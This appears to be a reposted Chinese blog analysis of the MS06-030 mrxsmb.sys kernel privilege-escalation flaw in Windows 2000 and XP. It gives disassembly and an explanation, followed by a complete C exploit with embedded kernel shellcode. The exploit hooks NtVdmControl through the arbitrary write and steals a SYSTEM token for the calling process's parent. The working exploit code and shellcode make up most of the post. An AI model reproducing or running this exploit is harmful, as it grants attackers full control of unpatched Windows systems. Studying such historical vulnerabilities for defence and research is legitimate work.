MS06-030漏洞分析

 

MS06-030漏洞分析

MS06-030 Windows Mrxsmb.sys Local Privilege Escalation 漏洞分析
                                                               
                                                                                SoBeIt

        这个漏洞发生于mrxsmb.sys驱动中,是个任意地址写入漏洞。在处理用户态发来的DeviceIoControl请求时,对于METHOD_NEITHER类型的请求,用户需要同时提供输入缓冲区地址与输出缓冲区地址。而由于内核固有的缺陷,导致输出缓冲区可以为任意地址,包括内核地址,这就造成了任意地址写入的漏洞。

        通过获取一个到".//shadow"的对象的句柄,就可以调用DeviceIoControl与该驱动进行联系。

        所有代码摘自Windows 2000 SP4 English Version。
       
        这是在cscdll.dll中的代码。cscdll.dll通过DeviceIoControl直接与内核驱动mrxsmb.sys通信。

.text:7652D197                 push    ebx
.text:7652D198                 push    [ebp+lpInBuffer] ; wchar_t *
.text:7652D19B                 call    _wcslen
.text:7652D1A0                 mov     edx, [ebp+arg_C]
.text:7652D1A3                 pop     ecx
.text:7652D1A4                 mov     ecx, [ebp+lpOutBuffer]
.text:7652D1A7                 push    0               ; lpOverlapped
.text:7652D1A9                 push    offset _DummyBytesReturned ; lpBytesReturned
.text:7652D1AE                 push    18h             ; nOutBufferSize
.text:7652D1B0                 push    ecx             ; lpOutBuffer
.text:7652D1B1                 shl     eax, 1
.text:7652D1B3                 push    eax             ; nInBufferSize
.text:7652D1B4                 push    [ebp+lpInBuffer] ; lpInBuffer
.text:7652D1B7                 mov     [ecx+10h], edx
.text:7652D1BA                 push    141043h         ; dwIoControlCode
.text:7652D1BF                 push    esi             ; hDevice
.text:7652D1C0                 call    ds:__imp__DeviceIoControl@32 ; DeviceIoControl(x,x,x,x,x,x,x,x)

        可以看到DeviceIoControl的ControlCode为一个METHOD_NEITHER类型,并且传入的OutBuffer参数不为NULL,也就是由用户态来传递返回的缓冲区地址给内核态。而内核态并没有做任何检查就向该地址进行读写,也就是能做到写入任意地址的效果。

        这是在驱动mrxsmb.sys中的代码。

PAGE:00063E5F                 mov     [ebp+ObjectAttributes.ObjectName], ecx        <--指向传入缓冲区地址
PAGE:00063E62                 mov     ecx, dword ptr _MRxSmbSpecialCopyChunkAllocationSizeMarker ; "csc"
PAGE:00063E68                 push    eax             ; AllocationSize
PAGE:00063E69                 lea     eax, [ebp+IoStatusBlock]
PAGE:00063E6C                 mov     dword ptr [ebp+AllocationSize+4], ecx
PAGE:00063E6F                 mov     ecx, [ebp+var_8]
PAGE:00063E72                 push    eax             ; IoStatusBlock
PAGE:00063E73                 add     ebx, 0Ch
PAGE:00063E76                 lea     eax, [ebp+ObjectAttributes]
PAGE:00063E79                 mov     word ptr [ebp+var_14+2], bx
PAGE:00063E7D                 mov     word ptr [ebp+var_14], bx
PAGE:00063E81                 mov     [ebp+ObjectAttributes.Length], 18h
PAGE:00063E88                 mov     [ebp+ObjectAttributes.Attributes], 40h
PAGE:00063E8F                 mov     ecx, [ecx]
PAGE:00063E91                 push    eax             ; ObjectAttributes
PAGE:00063E92                 push    100080h         ; DesiredAccess
PAGE:00063E97                 push    [ebp+FileHandle] ; FileHandle        <--指向返回缓冲区地址
PAGE:00063E9A                 and     ecx, 1
PAGE:00063E9D                 mov     dword ptr [ebp+AllocationSize], ecx
PAGE:00063EA0                 call    ds:__imp__ZwCreateFile@44 ; ZwCreateFile(x,x,x,x,x,x,x,x,x,x,x)


        在2000和XP下有一个小问题,就是对于ZwCreateFile,如果传入的OBJECT_ATTRIBUTES结构的ObjectName成员为NULL,ZwCreateFile依然会返回一个有效的句柄值。到了2003,如果传入NULL的ObjectName则始终会返回句柄0xffffffff。所以这个特性应用在这个漏洞里,才能做到漏洞利用。通过产生的这个句柄值,来写入指定的地址。

        至于该写入什么地址,我曾经专门讨论过对于这种任意地址写入的漏洞该怎么利用,最方便的方法就是Hook一个不常用的系统调用(我选择的是ZwVdmControl),然后跳转到用户态分配的缓冲区中执行,此时用户态缓冲区存放的就是提升权限的shellcode。所以就象ZwVdmControl的开头写入一个jmp xxxxx的指令即可。

        但是在这里有一点要注意的是,就是由于句柄的最末两位为0,也就是句柄值是4的倍数,而且句柄值最多也只能到6位数,所以只能分两次来写入,因为我们需要产生某些特定的值,比如跳转指令e9,还有偏移地址的高2位。尤其值得注意的是,第一次产生完一个句柄值后,下一次会接着这个值继续产生,而不是从初始值产生。这样偏移地址的低6位就能很难能产生出精确的值了,只能产生个大概的值,所以就这需要用到暴力法,也就是事先分配的用户态缓冲区足够大,使之肯定能跳转到这个缓冲区来执行shellcode。实际中我分配的缓冲区是0x1001000字节,也就是忽略掉低6位地址。多分配个0x1000是用来放shellcode的。

        Hook完后在exploit里面执行被hook的那个系统调用,就能直接执行shellcode了。shellcode是对调用进程的父进程提升权限到SYSTEM,如果从cmd里调用的exploit,该cmd进程就获得SYSTEM权限。提升权限的方法就是复制几个系统进程的EPROCESS结构的Token成员到需要提升权限的进程的EPROCESS结构的Token成员即可。提升权限完后需要恢复被hook的系统调用的前几个字节以供下次继续使用。

        在2003下,代码做了改变,首先是检查传入的OBJECT_ATTRIBUTES结构的ObjectName成员不能小于2个字节,也就是不能为NULL。同时另一个改变就是前面所说的,如果传入NULL的ObjectName则始终会返回句柄0xffffffff。这样在2003下,必须要提供一个有效的UNC路径才能使ZwCreateFile返回一个有效句柄值,并成功利用该漏洞。遗憾地是,我到现在还没找到一个有效的UNC路径。。。如果有谁能找到,请告我一声,多谢:)

 

 

/*
        MS06-030 Windows Kernel Mrxsmb.sys Local Privilege Escalation Vulnerability Exploit
                        Created by SoBeIt

        Main file of exploit

        Tested on:

        Windows 2000 PRO SP4 Chinese
        Windows 2000 PRO SP4 Rollup 1 Chinese
        Windows 2000 PRO SP4 English
        Windows 2000 PRO SP4 Rollup 1 English
        Windows XP PRO SP2 Chinese
        Windows XP PRO SP2 English
       
        Usage:ms06-030.exe
*/

#include <stdio.h>
#include <windows.h>
#include <psapi.h>

#pragma comment(lib, "psapi.lib")
       
#define NTSTATUS        int
#define ProcessBasicInformation        0
#define SystemModuleInformation 11
       
typedef NTSTATUS (NTAPI *ZWVDMCONTROL)(ULONG, PVOID);
typedef NTSTATUS (NTAPI *ZWQUERYINFORMATIONPROCESS)(HANDLE, ULONG, PVOID, ULONG, PULONG);
typedef NTSTATUS (NTAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);

ZWVDMCONTROL        ZwVdmControl;
ZWQUERYINFORMATIONPROCESS        ZwQueryInformationProcess;
ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation;

typedef struct _PROCESS_BASIC_INFORMATION {
      NTSTATUS ExitStatus;
      PVOID PebBaseAddress;
      ULONG AffinityMask;
      ULONG BasePriority;
      ULONG UniqueProcessId;
      ULONG InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION;

typedef struct _SYSTEM_MODULE_INFORMATION {
        ULONG Reserved[2];
        PVOID Base;
        ULONG Size;
        ULONG Flags;
        USHORT Index;
        USHORT Unknow;
        USHORT LoadCount;
        USHORT ModuleNameOffset;
        char ImageName[256];       
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

unsigned char kfunctions[64][64] =
{
                                                        //ntoskrnl.exe
        {"ZwTerminateProcess"},
        {"PsLookupProcessByProcessId"},
        {""},
};

unsigned char shellcode[] =
                "/x90/x60/x9c/xe9/xc4/x00/x00/x00/x5f/x4f/x47/x66/x81/x3f/x90/xcc"
                "/x75/xf8/x66/x81/x7f/x02/xcc/x90/x75/xf0/x83/xc7/x04/xbe/x38/xf0"
                "/xdf/xff/x8b/x36/xad/xad/x48/x81/x38/x4d/x5a/x90/x00/x75/xf7/x95"
                "/x8b/xf7/x6a/x02/x59/xe8/x4d/x00/x00/x00/xe2/xf9/x8b/x4e/x0c/xe8"
                "/x29/x00/x00/x00/x50/x8b/x4e/x08/xe8/x20/x00/x00/x00/x5a/x8b/x7e"
                "/x1c/x8b/x0c/x3a/x89/x0c/x38/x56/x8b/x7e/x14/x8b/x4e/x18/x8b/x76"
                "/x10/xf3/xa4/x5e/x33/xc0/x50/x50/xff/x16/x9d/x61/xc3/x83/xec/x04"
                "/x8d/x2c/x24/x55/x51/xff/x56/x04/x85/xc0/x0f/x85/x80/x8f/x00/x00"
                "/x8b/x45/x00/x83/xc4/x04/xc3/x51/x56/x8b/x75/x3c/x8b/x74/x2e/x78"
                "/x03/xf5/x56/x8b/x76/x20/x03/xf5/x33/xc9/x49/x41/xad/x03/xc5/x33"
                "/xdb/x0f/xbe/x10/x85/xd2/x74/x08/xc1/xcb/x07/x03/xda/x40/xeb/xf1"
                "/x3b/x1f/x75/xe7/x5e/x8b/x5e/x24/x03/xdd/x66/x8b/x0c/x4b/x8b/x5e"
                "/x1c/x03/xdd/x8b/x04/x8b/x03/xc5/xab/x5e/x59/xc3/xe8/x37/xff/xff"
                "/xff/x90/x90/x90"

                "/x90/xcc/xcc/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
                "/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
                "/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/xcc/x90/x90/xcc";
       
void ErrorQuit(char *msg)
{
        printf("%s:%d/n", msg, GetLastError());
        ExitProcess(0);
}

void GetFunction()
{
        HANDLE        hNtdll;
       
        hNtdll = LoadLibrary("ntdll.dll");
        if(hNtdll == NULL)
                ErrorQuit("LoadLibrary failed./n");
               
        ZwVdmControl = (ZWVDMCONTROL)GetProcAddress(hNtdll, "ZwVdmControl");
        if(ZwVdmControl == NULL)
                ErrorQuit("GetProcAddress failed./n");
               
        ZwQueryInformationProcess = (ZWQUERYINFORMATIONPROCESS)GetProcAddress(hNtdll, "ZwQueryInformationProcess");
        if(ZwQueryInformationProcess == NULL)
                ErrorQuit("GetProcAddress failed./n");
               
        ZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)GetProcAddress(hNtdll, "ZwQuerySystemInformation");
        if(ZwQuerySystemInformation == NULL)
                ErrorQuit("GetProcessAddress failed./n");
               
        FreeLibrary(hNtdll);
}

ULONG ComputeHash(char *ch)
{
        ULONG ret = 0;

        while(*ch)
        {
                ret = ((ret << 25) | (ret >> 7)) + *ch++;
        }

        return ret;
}

ULONG GetKernelBase(char *KernelName)
{
        ULONG        i, Byte, ModuleCount, KernelBase;
        PVOID        pBuffer;
        PSYSTEM_MODULE_INFORMATION        pSystemModuleInformation;
        PCHAR        pName;
       
        ZwQuerySystemInformation(SystemModuleInformation, (PVOID)&Byte, 0, &Byte);
               
        if((pBuffer = malloc(Byte)) == NULL)
                ErrorQuit("malloc failed./n");
               
        if(ZwQuerySystemInformation(SystemModuleInformation, pBuffer, Byte, &Byte))
                ErrorQuit("ZwQuerySystemInformation failed/n");
       
        ModuleCount = *(PULONG)pBuffer;
        pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)((PUCHAR)pBuffer + sizeof(ULONG));
        for(i = 0; i < ModuleCount; i++)
        {
                if((pName = strstr(pSystemModuleInformation->ImageName, "ntoskrnl.exe")) != NULL)
                {
                        KernelBase = (ULONG)pSystemModuleInformation->Base;
                        printf("Kernel is %s/n", pSystemModuleInformation->ImageName);
                        free(pBuffer);
                        strcpy(KernelName, "ntoskrnl.exe");
                       
                        return KernelBase;
                }
               
                if((pName = strstr(pSystemModuleInformation->ImageName, "ntkrnlpa.exe")) != NULL)
                {
                        KernelBase = (ULONG)pSystemModuleInformation->Base;
                        printf("Kernel is %s/n", pSystemModuleInformation->ImageName);
                        free(pBuffer);
                        strcpy(KernelName, "ntkrnlpa.exe");
                       
                        return KernelBase;
                }
               
                pSystemModuleInformation++;
        }
               
        free(pBuffer);
        return 0;
}

int main(int argc, char *argv[])
{
        PVOID                pDrivers[256];
        PULONG        pStoreBuffer, pShellcode;
        PUCHAR        pRestoreBuffer, pBase, FunctionAddress;
        PROCESS_BASIC_INFORMATION pbi;
        SYSTEM_MODULE_INFORMATION        smi;
        OSVERSIONINFO        ovi;
        char                DriverName[256], KernelName[64];
        ULONG                Byte, len, i, j, k, BaseAddress, Value, KernelBase, buf[64], HookAddress, SystemId, TokenOffset, Sections;
        HANDLE        hDevice, hKernel;

        printf("/n MS06-030 Windows Kernel Mrxsmb.sys Local Privilege Escalation Vulnerability Exploit /n/n");
        printf("/t Create by SoBeIt. /n/n");
        if(argc != 1)
        {
                printf(" Usage:%s /n/n", argv[0]);
                return 1;
        }
               
        GetFunction();

        if(ZwQueryInformationProcess(GetCurrentProcess(), ProcessBasicInformation, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL))
                ErrorQuit("ZwQueryInformationProcess failed/n");

        KernelBase = GetKernelBase(KernelName);
        if(!KernelBase)
                ErrorQuit("Unable to get kernel base address./n");
               
        printf("Kernel base address: %x/n", KernelBase);
       
        ovi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
       
        if(!GetVersionEx(&ovi))
                ErrorQuit("GetVersionEx failed./n");
       
        if(ovi.dwMajorVersion != 5)
                ErrorQuit("Not Windows NT family OS./n");
               
        printf("Major Version:%d Minor Version:%d/n", ovi.dwMajorVersion, ovi.dwMinorVersion);
        switch(ovi.dwMinorVersion)
        {
                case 0:                                                //Windows2000
                        SystemId = 8;
                        TokenOffset = 0x12c;
                        break;
                       
                case 1:                                                //WindowsXP
                        SystemId = 4;
                        TokenOffset = 0xc8;
                        break;
                       
                case 2:                                                //Windows2003
                        SystemId = 4;
                        TokenOffset = 0xc8;
                        break;
                       
                default:
                        SystemId = 8;
                        TokenOffset = 0xc8;
        }
       
        pRestoreBuffer = malloc(0x100);
        if(pRestoreBuffer == NULL)
                ErrorQuit("malloc failed./n");
               
        if(!EnumDeviceDrivers(pDrivers, sizeof(pDrivers), &Byte))
                ErrorQuit("EnumDeviceDrivers failed./n");

        for(i = 0; i < (Byte / sizeof(PVOID)); i++)
        {
                if(!GetDeviceDriverBaseName(pDrivers[i], DriverName, sizeof(DriverName)))
                        ErrorQuit("GetDeviceDriverBaseName failed./n");

                if(!strnicmp(DriverName, "mrxsmb.sys", 10))
                {
                        BaseAddress = (ULONG)pDrivers;
                        printf("Mrxsmb.sys Base Address:%x/n", BaseAddress);
                        break;
                }
        }

        if(!BaseAddress)
                ErrorQuit("No address of mrxsmb.sys has been found./n");
       
        pStoreBuffer = (PULONG)VirtualAlloc(NULL, 0x1001000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        if(pStoreBuffer == NULL)
                ErrorQuit("VirtualAlloc failed./n");

        printf("Allocated address:%x/n", pStoreBuffer);
        //        /device/LanmanRedirector
        hDevice = CreateFile(".//Shadow", FILE_EXECUTE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
        if(hDevice == INVALID_HANDLE_VALUE)
                ErrorQuit("CreateFile failed./n");

        hKernel = LoadLibrary(KernelName);
        if(hKernel == NULL)
                ErrorQuit("LoadLibrary failed./n");
       
        FunctionAddress = (PUCHAR)GetProcAddress(hKernel, "NtVdmControl");
        if(FunctionAddress == NULL)
                ErrorQuit("GetProcAddress failed./n");
               
        HookAddress = FunctionAddress - (PUCHAR)hKernel + KernelBase;
        memcpy((PUCHAR)pRestoreBuffer, FunctionAddress - 1, 0x20);
        printf("%s Address:%x/n", "NtVdmControl", HookAddress);
               
        pShellcode = (PULONG)shellcode;
        for(k = 0; pShellcode[k++] != 0x90cccc90; )
                                ;

        for(j = 0; kfunctions[j][0] != '/x0'; j++)
                buf[j] = ComputeHash(kfunctions[j]);

        buf[j++] = pbi.InheritedFromUniqueProcessId;
        buf[j++] = SystemId;
        buf[j++] = (ULONG)pRestoreBuffer;
        buf[j++] = HookAddress - 1;
        buf[j++] = 0x20;
        buf[j++] = TokenOffset;
       
        memcpy((char *)(pShellcode + k), (char *)buf, j * 4);

        hDevice = CreateFile(".//Shadow", FILE_EXECUTE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
        if(hDevice == INVALID_HANDLE_VALUE)
                ErrorQuit("CreateFile failed./n");

        Value = (0xe9 << 8) & 0xff00;
        printf("Need value: %x/n", Value);
       
        while((pStoreBuffer[3] & 0xff00) != Value)
        {                       
                memset(pStoreBuffer, 0, 0x18);
               
                if(!DeviceIoControl(hDevice, 0x141043, pStoreBuffer, 0x2, pStoreBuffer, 0x18, &Byte, NULL))
                        ErrorQuit("DeviceIoControl failed./n");
                               
                printf("/rValue:%x", pStoreBuffer[3]);
        }
       
        printf("/n");
               
        memset(pStoreBuffer, 0, 0x18);
        if(!DeviceIoControl(hDevice, 0x141043, pStoreBuffer, 0x2, (PVOID)(HookAddress - 0xC - 1), 0x18, &Byte, NULL))
                ErrorQuit("DeviceIoControl failed./n");
               
        Value = (((ULONG)pStoreBuffer + 0x800000 - HookAddress) >> 16) & 0xfff0;
        printf("Need value: %x/n", Value);
       
        while((pStoreBuffer[3] & 0xfff0) != Value)
        {
                memset(pStoreBuffer, 0, 0x18);
               
                if(!DeviceIoControl(hDevice, 0x141043, pStoreBuffer, 0x2, pStoreBuffer, 0x18, &Byte, NULL))
                        ErrorQuit("DeviceIoControl failed./n");
               
                printf("/rValue:%x", pStoreBuffer[3]);
        }

        printf("/n");
       
        if(!DeviceIoControl(hDevice, 0x141043, pStoreBuffer, 0x2, (PVOID)(HookAddress - 0xC + 3), 0x18, &Byte, NULL))
                ErrorQuit("DeviceIoControl failed./n");
       
        memset(pStoreBuffer, 0x90, 0x1001000);
        memcpy((PUCHAR)pStoreBuffer + 0x1000000, shellcode, sizeof(shellcode));
       
        CloseHandle(hDevice);
        CloseHandle(hKernel);

        printf("Exploitation finished./n");
        ZwVdmControl(0, NULL);

        return 1;
}

原文代码有个小错误,已经修改

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值